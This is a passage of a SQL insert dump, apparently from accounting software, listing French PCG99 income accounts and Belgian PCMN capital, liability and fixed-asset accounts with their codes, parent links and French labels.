11:17:49','PCG99-BASE','INCOME','764',416,'Revenus des valeurs mobilières de placement',NULL,0,NULL,NULL,1,0,NULL,NULL),(421,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','INCOME','765',416,'Escomptes obtenus',NULL,0,NULL,NULL,1,0,NULL,NULL),(422,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','INCOME','766',416,'Gains de change',NULL,0,NULL,NULL,1,0,NULL,NULL),(423,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','INCOME','767',416,'Produits nets sur cessions de valeurs mobilières de placement',NULL,0,NULL,NULL,1,0,NULL,NULL),(424,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','INCOME','768',416,'Autres produits financiers',NULL,0,NULL,NULL,1,0,NULL,NULL),(425,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','INCOME','77',1507,'Produits exceptionnels',NULL,0,NULL,NULL,1,0,NULL,NULL),(426,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','INCOME','771',425,'Produits exceptionnels sur opérations de gestion',NULL,0,NULL,NULL,1,0,NULL,NULL),(427,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','INCOME','772',425,'(Compte à la disposition des entités pour enregistrer, en cours d\'exercice, les produits sur exercices antérieurs)',NULL,0,NULL,NULL,1,0,NULL,NULL),(428,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','INCOME','775',425,'Produits des cessions d\'éléments d\'actif',NULL,0,NULL,NULL,1,0,NULL,NULL),(429,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','INCOME','777',425,'Quote-part des subventions d\'investissement virée au résultat de l\'exercice',NULL,0,NULL,NULL,1,0,NULL,NULL),(430,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','INCOME','778',425,'Autres produits exceptionnels',NULL,0,NULL,NULL,1,0,NULL,NULL),(431,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','INCOME','78',1507,'Reprises sur amortissements et provisions',NULL,0,NULL,NULL,1,0,NULL,NULL),(432,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','INCOME','781',431,'Reprises sur amortissements et provisions (à inscrire dans les produits d\'exploitation)',NULL,0,NULL,NULL,1,0,NULL,NULL),(433,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','INCOME','786',431,'Reprises sur provisions pour risques (à inscrire dans les produits financiers)',NULL,0,NULL,NULL,1,0,NULL,NULL),(434,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','INCOME','787',431,'Reprises sur provisions (à inscrire dans les produits exceptionnels)',NULL,0,NULL,NULL,1,0,NULL,NULL),(435,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','INCOME','79',1507,'Transferts de charges',NULL,0,NULL,NULL,1,0,NULL,NULL),(436,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','INCOME','791',435,'Transferts de charges d\'exploitation ',NULL,0,NULL,NULL,1,0,NULL,NULL),(437,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','INCOME','796',435,'Transferts de charges financières',NULL,0,NULL,NULL,1,0,NULL,NULL),(438,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','INCOME','797',435,'Transferts de charges exceptionnelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(439,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','10',1351,'Capital',NULL,0,NULL,NULL,1,0,NULL,NULL),(440,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','100',439,'Capital souscrit ou capital personnel',NULL,0,NULL,NULL,1,0,NULL,NULL),(441,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','1000',440,'Capital non amorti',NULL,0,NULL,NULL,1,0,NULL,NULL),(442,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','1001',440,'Capital amorti',NULL,0,NULL,NULL,1,0,NULL,NULL),(443,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','101',439,'Capital non appelé',NULL,0,NULL,NULL,1,0,NULL,NULL),(444,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','109',439,'Compte de l\'exploitant',NULL,0,NULL,NULL,1,0,NULL,NULL),(445,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','1090',444,'Opérations courantes',NULL,0,NULL,NULL,1,0,NULL,NULL),(446,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','1091',444,'Impôts personnels',NULL,0,NULL,NULL,1,0,NULL,NULL),(447,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','1092',444,'Rémunérations et autres avantages',NULL,0,NULL,NULL,1,0,NULL,NULL),(448,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','11',1351,'Primes d\'émission',NULL,0,NULL,NULL,1,0,NULL,NULL),(449,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','12',1351,'Plus-values de réévaluation',NULL,0,NULL,NULL,1,0,NULL,NULL),(450,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','120',449,'Plus-values de réévaluation sur immobilisations incorporelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(451,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','1200',450,'Plus-values de réévaluation',NULL,0,NULL,NULL,1,0,NULL,NULL),(452,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','1201',450,'Reprises de réductions de valeur',NULL,0,NULL,NULL,1,0,NULL,NULL),(453,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','121',449,'Plus-values de réévaluation sur immobilisations corporelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(454,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','1210',453,'Plus-values de réévaluation',NULL,0,NULL,NULL,1,0,NULL,NULL),(455,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','1211',453,'Reprises de réductions de valeur',NULL,0,NULL,NULL,1,0,NULL,NULL),(456,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','122',449,'Plus-values de réévaluation sur immobilisations financières',NULL,0,NULL,NULL,1,0,NULL,NULL),(457,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','1220',456,'Plus-values de réévaluation',NULL,0,NULL,NULL,1,0,NULL,NULL),(458,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','1221',456,'Reprises de réductions de valeur',NULL,0,NULL,NULL,1,0,NULL,NULL),(459,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','123',449,'Plus-values de réévaluation sur stocks',NULL,0,NULL,NULL,1,0,NULL,NULL),(460,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','124',449,'Reprises de réductions de valeur sur placements de trésorerie',NULL,0,NULL,NULL,1,0,NULL,NULL),(461,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','13',1351,'Réserve',NULL,0,NULL,NULL,1,0,NULL,NULL),(462,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','130',461,'Réserve légale',NULL,0,NULL,NULL,1,0,NULL,NULL),(463,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','131',461,'Réserves indisponibles',NULL,0,NULL,NULL,1,0,NULL,NULL),(464,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','1310',463,'Réserve pour actions propres',NULL,0,NULL,NULL,1,0,NULL,NULL),(465,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','1311',463,'Autres réserves indisponibles',NULL,0,NULL,NULL,1,0,NULL,NULL),(466,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','132',461,'Réserves immunisées',NULL,0,NULL,NULL,1,0,NULL,NULL),(467,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','133',461,'Réserves disponibles',NULL,0,NULL,NULL,1,0,NULL,NULL),(468,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','1330',467,'Réserve pour régularisation de dividendes',NULL,0,NULL,NULL,1,0,NULL,NULL),(469,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','1331',467,'Réserve pour renouvellement des immobilisations',NULL,0,NULL,NULL,1,0,NULL,NULL),(470,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','1332',467,'Réserve pour installations en faveur du personnel 1333 Réserves libres',NULL,0,NULL,NULL,1,0,NULL,NULL),(471,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','14',1351,'Bénéfice reporté (ou perte reportée)',NULL,0,NULL,NULL,1,0,NULL,NULL),(472,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','15',1351,'Subsides en capital',NULL,0,NULL,NULL,1,0,NULL,NULL),(473,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','150',472,'Montants obtenus',NULL,0,NULL,NULL,1,0,NULL,NULL),(474,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','151',472,'Montants transférés aux résultats',NULL,0,NULL,NULL,1,0,NULL,NULL),(475,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','16',1351,'Provisions pour risques et charges',NULL,0,NULL,NULL,1,0,NULL,NULL),(476,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','160',475,'Provisions pour pensions et obligations similaires',NULL,0,NULL,NULL,1,0,NULL,NULL),(477,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','161',475,'Provisions pour charges fiscales',NULL,0,NULL,NULL,1,0,NULL,NULL),(478,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','162',475,'Provisions pour grosses réparations et gros entretiens',NULL,0,NULL,NULL,1,0,NULL,NULL),(479,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','163',475,'à 169 Provisions pour autres risques et charges',NULL,0,NULL,NULL,1,0,NULL,NULL),(480,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','164',475,'Provisions pour sûretés personnelles ou réelles constituées à l\'appui de dettes et d\'engagements de tiers',NULL,0,NULL,NULL,1,0,NULL,NULL),(481,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','165',475,'Provisions pour engagements relatifs à l\'acquisition ou à la cession d\'immobilisations',NULL,0,NULL,NULL,1,0,NULL,NULL),(482,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','166',475,'Provisions pour exécution de commandes passées ou reçues',NULL,0,NULL,NULL,1,0,NULL,NULL),(483,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','167',475,'Provisions pour positions et marchés à terme en devises ou positions et marchés à terme en marchandises',NULL,0,NULL,NULL,1,0,NULL,NULL),(484,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','168',475,'Provisions pour garanties techniques attachées aux ventes et prestations déjà effectuées par l\'entreprise',NULL,0,NULL,NULL,1,0,NULL,NULL),(485,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','169',475,'Provisions pour autres risques et charges',NULL,0,NULL,NULL,1,0,NULL,NULL),(486,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','1690',485,'Pour litiges en cours',NULL,0,NULL,NULL,1,0,NULL,NULL),(487,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','1691',485,'Pour amendes, doubles droits et pénalités',NULL,0,NULL,NULL,1,0,NULL,NULL),(488,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','1692',485,'Pour propre assureur',NULL,0,NULL,NULL,1,0,NULL,NULL),(489,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','1693',485,'Pour risques inhérents aux opérations de crédits à moyen ou long terme',NULL,0,NULL,NULL,1,0,NULL,NULL),(490,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','1695',485,'Provision pour charge de liquidation',NULL,0,NULL,NULL,1,0,NULL,NULL),(491,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','1696',485,'Provision pour départ de personnel',NULL,0,NULL,NULL,1,0,NULL,NULL),(492,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','1699',485,'Pour risques divers',NULL,0,NULL,NULL,1,0,NULL,NULL),(493,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','17',1351,'Dettes à plus d\'un an',NULL,0,NULL,NULL,1,0,NULL,NULL),(494,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','170',493,'Emprunts subordonnés',NULL,0,NULL,NULL,1,0,NULL,NULL),(495,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','1700',494,'Convertibles',NULL,0,NULL,NULL,1,0,NULL,NULL),(496,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','1701',494,'Non convertibles',NULL,0,NULL,NULL,1,0,NULL,NULL),(497,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','171',493,'Emprunts obligataires non subordonnés',NULL,0,NULL,NULL,1,0,NULL,NULL),(498,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','1710',498,'Convertibles',NULL,0,NULL,NULL,1,0,NULL,NULL),(499,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','1711',498,'Non convertibles',NULL,0,NULL,NULL,1,0,NULL,NULL),(500,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','172',493,'Dettes de location-financement et assimilés',NULL,0,NULL,NULL,1,0,NULL,NULL),(501,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','1720',500,'Dettes de location-financement de biens immobiliers',NULL,0,NULL,NULL,1,0,NULL,NULL),(502,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','1721',500,'Dettes de location-financement de biens mobiliers',NULL,0,NULL,NULL,1,0,NULL,NULL),(503,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','1722',500,'Dettes sur droits réels sur immeubles',NULL,0,NULL,NULL,1,0,NULL,NULL),(504,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','173',493,'Etablissements de crédit',NULL,0,NULL,NULL,1,0,NULL,NULL),(505,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','1730',504,'Dettes en compte',NULL,0,NULL,NULL,1,0,NULL,NULL),(506,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','17300',505,'Banque A',NULL,0,NULL,NULL,1,0,NULL,NULL),(507,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','17301',505,'Banque B',NULL,0,NULL,NULL,1,0,NULL,NULL),(508,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','17302',505,'Banque C',NULL,0,NULL,NULL,1,0,NULL,NULL),(509,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','17303',505,'Banque D',NULL,0,NULL,NULL,1,0,NULL,NULL),(510,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','1731',504,'Promesses',NULL,0,NULL,NULL,1,0,NULL,NULL),(511,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','17310',510,'Banque A',NULL,0,NULL,NULL,1,0,NULL,NULL),(512,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','17311',510,'Banque B',NULL,0,NULL,NULL,1,0,NULL,NULL),(513,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','17312',510,'Banque C',NULL,0,NULL,NULL,1,0,NULL,NULL),(514,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','17313',510,'Banque D',NULL,0,NULL,NULL,1,0,NULL,NULL),(515,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','1732',504,'Crédits d\'acceptation',NULL,0,NULL,NULL,1,0,NULL,NULL),(516,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','17320',515,'Banque A',NULL,0,NULL,NULL,1,0,NULL,NULL),(517,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','17321',515,'Banque B',NULL,0,NULL,NULL,1,0,NULL,NULL),(518,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','17322',515,'Banque C',NULL,0,NULL,NULL,1,0,NULL,NULL),(519,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','17323',515,'Banque D',NULL,0,NULL,NULL,1,0,NULL,NULL),(520,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','174',493,'Autres emprunts',NULL,0,NULL,NULL,1,0,NULL,NULL),(521,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','175',493,'Dettes commerciales',NULL,0,NULL,NULL,1,0,NULL,NULL),(522,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','1750',521,'Fournisseurs : dettes en compte',NULL,0,NULL,NULL,1,0,NULL,NULL),(523,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','17500',522,'Entreprises apparentées',NULL,0,NULL,NULL,1,0,NULL,NULL),(524,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','175000',523,'Entreprises liées',NULL,0,NULL,NULL,1,0,NULL,NULL),(525,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','175001',523,'Entreprises avec lesquelles il existe un lien de participation',NULL,0,NULL,NULL,1,0,NULL,NULL),(526,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','17501',522,'Fournisseurs ordinaires',NULL,0,NULL,NULL,1,0,NULL,NULL),(527,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','175010',526,'Fournisseurs belges',NULL,0,NULL,NULL,1,0,NULL,NULL),(528,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','175011',526,'Fournisseurs C.E.E.',NULL,0,NULL,NULL,1,0,NULL,NULL),(529,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','175012',526,'Fournisseurs importation',NULL,0,NULL,NULL,1,0,NULL,NULL),(530,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','1751',521,'Effets à payer',NULL,0,NULL,NULL,1,0,NULL,NULL),(531,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','17510',530,'Entreprises apparentées',NULL,0,NULL,NULL,1,0,NULL,NULL),(532,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','175100',531,'Entreprises liées',NULL,0,NULL,NULL,1,0,NULL,NULL),(533,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','175101',531,'Entreprises avec lesquelles il existe un lien de participation',NULL,0,NULL,NULL,1,0,NULL,NULL),(534,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','17511',530,'Fournisseurs ordinaires',NULL,0,NULL,NULL,1,0,NULL,NULL),(535,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','175110',534,'Fournisseurs belges',NULL,0,NULL,NULL,1,0,NULL,NULL),(536,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','175111',534,'Fournisseurs C.E.E.',NULL,0,NULL,NULL,1,0,NULL,NULL),(537,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','175112',534,'Fournisseurs importation',NULL,0,NULL,NULL,1,0,NULL,NULL),(538,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','176',493,'Acomptes reçus sur commandes',NULL,0,NULL,NULL,1,0,NULL,NULL),(539,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','178',493,'Cautionnements reçus en numéraires',NULL,0,NULL,NULL,1,0,NULL,NULL),(540,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','179',493,'Dettes diverses',NULL,0,NULL,NULL,1,0,NULL,NULL),(541,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','1790',540,'Entreprises liées',NULL,0,NULL,NULL,1,0,NULL,NULL),(542,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','1791',540,'Autres entreprises avec lesquelles il existe un lien de participation',NULL,0,NULL,NULL,1,0,NULL,NULL),(543,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','1792',540,'Administrateurs, gérants et associés',NULL,0,NULL,NULL,1,0,NULL,NULL),(544,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','1794',540,'Rentes viagères capitalisées',NULL,0,NULL,NULL,1,0,NULL,NULL),(545,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','1798',540,'Dettes envers les coparticipants des associations momentanées et en participation',NULL,0,NULL,NULL,1,0,NULL,NULL),(546,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','1799',540,'Autres dettes diverses',NULL,0,NULL,NULL,1,0,NULL,NULL),(547,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','18',1351,'Comptes de liaison des établissements et succursales',NULL,0,NULL,NULL,1,0,NULL,NULL),(548,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','20',1352,'Frais d\'établissement',NULL,0,NULL,NULL,1,0,NULL,NULL),(549,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','200',548,'Frais de constitution et d\'augmentation de capital',NULL,0,NULL,NULL,1,0,NULL,NULL),(550,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2000',549,'Frais de constitution et d\'augmentation de capital',NULL,0,NULL,NULL,1,0,NULL,NULL),(551,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2009',549,'Amortissements sur frais de constitution et d\'augmentation de capital',NULL,0,NULL,NULL,1,0,NULL,NULL),(552,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','201',548,'Frais d\'émission d\'emprunts et primes de remboursement',NULL,0,NULL,NULL,1,0,NULL,NULL),(553,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2010',552,'Agios sur emprunts et frais d\'émission d\'emprunts',NULL,0,NULL,NULL,1,0,NULL,NULL),(554,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2019',552,'Amortissements sur agios sur emprunts et frais d\'émission d\'emprunts',NULL,0,NULL,NULL,1,0,NULL,NULL),(555,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','202',548,'Autres frais d\'établissement',NULL,0,NULL,NULL,1,0,NULL,NULL),(556,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2020',555,'Autres frais d\'établissement',NULL,0,NULL,NULL,1,0,NULL,NULL),(557,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2029',555,'Amortissements sur autres frais d\'établissement',NULL,0,NULL,NULL,1,0,NULL,NULL),(558,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','203',548,'Intérêts intercalaires',NULL,0,NULL,NULL,1,0,NULL,NULL),(559,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2030',558,'Intérêts intercalaires',NULL,0,NULL,NULL,1,0,NULL,NULL),(560,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2039',558,'Amortissements sur intérêts intercalaires',NULL,0,NULL,NULL,1,0,NULL,NULL),(561,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','204',548,'Frais de restructuration',NULL,0,NULL,NULL,1,0,NULL,NULL),(562,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2040',561,'Coût des frais de restructuration',NULL,0,NULL,NULL,1,0,NULL,NULL),(563,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2049',561,'Amortissements sur frais de restructuration',NULL,0,NULL,NULL,1,0,NULL,NULL),(564,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','21',1352,'Immobilisations incorporelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(565,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','210',564,'Frais de recherche et de développement',NULL,0,NULL,NULL,1,0,NULL,NULL),(566,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2100',565,'Frais de recherche et de mise au point',NULL,0,NULL,NULL,1,0,NULL,NULL),(567,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2108',565,'Plus-values actées sur frais de recherche et de mise au point',NULL,0,NULL,NULL,1,0,NULL,NULL),(568,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2109',565,'Amortissements sur frais de recherche et de mise au point',NULL,0,NULL,NULL,1,0,NULL,NULL),(569,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','211',564,'Concessions, brevets, licences, savoir-faire, marque et droits similaires',NULL,0,NULL,NULL,1,0,NULL,NULL),(570,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2110',569,'Concessions, brevets, licences, marques, etc',NULL,0,NULL,NULL,1,0,NULL,NULL),(571,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2118',569,'Plus-values actées sur concessions, etc',NULL,0,NULL,NULL,1,0,NULL,NULL),(572,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2119',569,'Amortissements sur concessions, etc',NULL,0,NULL,NULL,1,0,NULL,NULL),(573,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','212',564,'Goodwill',NULL,0,NULL,NULL,1,0,NULL,NULL),(574,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2120',573,'Coût d\'acquisition',NULL,0,NULL,NULL,1,0,NULL,NULL),(575,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2128',573,'Plus-values actées',NULL,0,NULL,NULL,1,0,NULL,NULL),(576,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2129',573,'Amortissements sur goodwill',NULL,0,NULL,NULL,1,0,NULL,NULL),(577,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','213',564,'Acomptes versés',NULL,0,NULL,NULL,1,0,NULL,NULL),(578,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','22',1352,'Terrains et constructions',NULL,0,NULL,NULL,1,0,NULL,NULL),(579,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','220',578,'Terrains',NULL,0,NULL,NULL,1,0,NULL,NULL),(580,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2200',579,'Terrains',NULL,0,NULL,NULL,1,0,NULL,NULL),(581,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2201',579,'Frais d\'acquisition sur terrains',NULL,0,NULL,NULL,1,0,NULL,NULL),(582,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2208',579,'Plus-values actées sur terrains',NULL,0,NULL,NULL,1,0,NULL,NULL),(583,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2209',579,'Amortissements et réductions de valeur',NULL,0,NULL,NULL,1,0,NULL,NULL),(584,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','22090',583,'Amortissements sur frais d\'acquisition',NULL,0,NULL,NULL,1,0,NULL,NULL),(585,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','22091',583,'Réductions de valeur sur terrains',NULL,0,NULL,NULL,1,0,NULL,NULL),(586,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','221',578,'Constructions',NULL,0,NULL,NULL,1,0,NULL,NULL),(587,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2210',586,'Bâtiments industriels',NULL,0,NULL,NULL,1,0,NULL,NULL),(588,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2211',586,'Bâtiments administratifs et commerciaux',NULL,0,NULL,NULL,1,0,NULL,NULL),(589,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2212',586,'Autres bâtiments d\'exploitation',NULL,0,NULL,NULL,1,0,NULL,NULL),(590,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2213',586,'Voies de transport et ouvrages d\'art',NULL,0,NULL,NULL,1,0,NULL,NULL),(591,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2215',586,'Constructions sur sol d\'autrui',NULL,0,NULL,NULL,1,0,NULL,NULL),(592,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2216',586,'Frais d\'acquisition sur constructions',NULL,0,NULL,NULL,1,0,NULL,NULL),(593,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2218',586,'Plus-values actées',NULL,0,NULL,NULL,1,0,NULL,NULL),(594,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','22180',593,'Sur bâtiments industriels',NULL,0,NULL,NULL,1,0,NULL,NULL),(595,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','22181',593,'Sur bâtiments administratifs et commerciaux',NULL,0,NULL,NULL,1,0,NULL,NULL),(596,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','22182',593,'Sur autres bâtiments d\'exploitation',NULL,0,NULL,NULL,1,0,NULL,NULL),(597,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','22184',593,'Sur voies de transport et ouvrages d\'art',NULL,0,NULL,NULL,1,0,NULL,NULL),(598,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','2219',586,'Amortissements sur constructions',NULL,0,NULL,NULL,1,0,NULL,NULL),(599,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','IMMO','22190',598,'Sur bâtiments industriels',NULL,0,NULL,NULL,1,0,NULL,NULL),(600,1,NULL,'2018-01-22 